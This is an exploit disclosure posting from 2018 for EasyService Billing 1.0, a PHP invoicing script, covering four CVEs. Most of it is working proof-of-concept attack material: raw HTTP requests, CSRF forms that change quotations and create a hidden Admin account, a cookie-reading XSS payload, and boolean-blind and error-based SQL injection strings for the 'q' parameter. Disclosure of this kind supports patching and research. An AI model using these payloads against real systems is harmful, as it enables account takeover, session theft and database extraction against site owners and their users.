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EasyService Billing 1.0 CSRF / XSS / SQL Injection

EasyService Billing 1.0 CSRF / XSS / SQL Injection
Posted May 26, 2018
Authored by Divya Jain

EasyService Billing version 1.0 suffers from cross site request forgery, cross site scripting, and remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, xss, sql injection, csrf
advisories | CVE-2018-11442, CVE-2018-11443, CVE-2018-11444, CVE-2018-11445
MD5 | da7567ad85c691f1f5c557bfe9b3712b

EasyService Billing 1.0 CSRF / XSS / SQL Injection

Change Mirror Download
Exploit 1 of 3:

<!--
# Exploit Title: EasyService Billing 1.0 Multiple Cross-Site Request Forgery
# Date: 25-05-2018
# Software Link: https://codecanyon.net/item/easyservice-billing-php-scripts-for-quotation-invoice-payments-etc/16687594
# Exploit Author: Divya Jain
# Version: EasyService Billing 1.0
# CVE: CVE-2018-11445,CVE-2018-11442
# Category: Webapps
# Severity: Medium
# Tested on: KaLi LinuX_x64
# # # # # # # #
#
# Proof of Concept:
//////////////////////////
/ CSRF in Quotation Page /
//////////////////////////
# Initial Request:

POST /EasyServiceBilling/quotation-new3-new2.php?add=true&id=139 HTTP/1.1
Host: test.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://test.com/EasyServiceBilling/quotation-new3-new2.php?add=true&id=139
Cookie: tntcon=5078855aa89b90f68de5644f75495364a4xn; PHPSESSID=58bf7e8rf0jpiepg3iu7larrj2
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 86

quotation_id=139&quotation_no=249&des=test&button=Save&MM_update=form1&MM_insert=form1

# CSRF POC:

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://test.com/EasyServiceBilling/quotation-new3-new2.php?add=true&id=139" method="POST">
<input type="hidden" name="quotation_id" value="139" />
<input type="hidden" name="quotation_no" value="249" />
<input type="hidden" name="des" value="testnew" />
<input type="hidden" name="button" value="Save" />
<input type="hidden" name="MM_update" value="form1" />
<input type="hidden" name="MM_insert" value="form1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

///////////////////////////
// CSRF in User Add Page //
///////////////////////////

# Initial Request

POST /EasyServiceBilling/system-settings-user-new2.php? HTTP/1.1
Host: test.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://test.com/EasyServiceBilling/system-settings-user-new2.php
Cookie: tntcon=ea1c7cc27fc02e6abf755d54fa60a8a8a4xn; PHPSESSID=kao38vbne4c4s9s0587o8h99e6
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

type=Admin&un=a&pw=b&MM_insert=form1

# CSRF POC

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://test.com/EasyServiceBilling/system-settings-user-new2.php?" method="POST">
<input type="hidden" name="type" value="Admin" />
<input type="hidden" name="un" value="adminTest" />
<input type="hidden" name="pw" value="adminTest" />
<input type="hidden" name="MM_insert" value="form1" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

-->

Exploit 2 of 3:

<!--
# Exploit Title: EasyService Billing 1.0 Cross-Site Scripting in 'q' Parameter
# Date: 25-05-2018
# Software Link: https://codecanyon.net/item/easyservice-billing-php-scripts-for-quotation-invoice-payments-etc/16687594
# Exploit Author: Divya Jain
# Version: EasyService Billing 1.0
# CVE: CVE-2018-11443
# Category: Webapps
# Severity: Medium
# Tested on: KaLi LinuX_x64
# # # # #
#
# Proof of Concept:
#
///////////
// XSS //
///////////

Affected Link: http://test.com/EasyServiceBilling/jobcard-ongoing.php?q=
Payload: %27%3C/script%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%27
Parameter: q
Link: http://test.com/EasyServiceBilling/jobcard-ongoing.php?q=%27%3C/script%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%27

###########################################################################



Exploit 3 of 3:

<!--
# Exploit Title: EasyService Billing 1.0 SQL Injection on page jobcard-ongoing.php?q=
# Date: 25-05-2018
# Software Link: https://codecanyon.net/item/easyservice-billing-php-scripts-for-quotation-invoice-payments-etc/16687594
# Exploit Author: Divya Jain
# Version: EasyService Billing 1.0
# CVE: CVE-2018-11444
# Category: Webapps
# Severity: High
# Tested on: KaLi LinuX_x64
# # # # # # # #
#

# Proof of Concept:
////////////////////////////////
SQL Injection in q parameter
///////////////////////////////
Affected Link: test.com/EasyServiceBilling/jobcard-ongoing.php?q=
# Boolean Based Blind SQL
Payload: 1337'OR%20NOT 1=1--
Link: test.com/EasyServiceBilling/jobcard-ongoing.php?q=1337'OR%20NOT 1=1--

# Error-Based SQL
Payload: 1337'AND%20(SELECT%202%20FROM(SELECT%20COUNT(*),CONCAT(0x7162627161,(SELECT(ELT(2=2,1))),0x717a6b6271,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x)a)%20AND%20'aBCD'='aBCD

Link: test.com/EasyServiceBilling/jobcard-ongoing.php?q=1337'AND%20(SELECT%202%20FROM(SELECT%20COUNT(*),CONCAT(0x7162627161,(SELECT(ELT(2=2,1))),0x717a6b6271,FLOOR(RAND(0)*2))x%20FROM%20INFORMATION_SCHEMA.PLUGINS%20GROUP%20BY%20x)a)%20AND%20'aBCD'='aBCD
#################################

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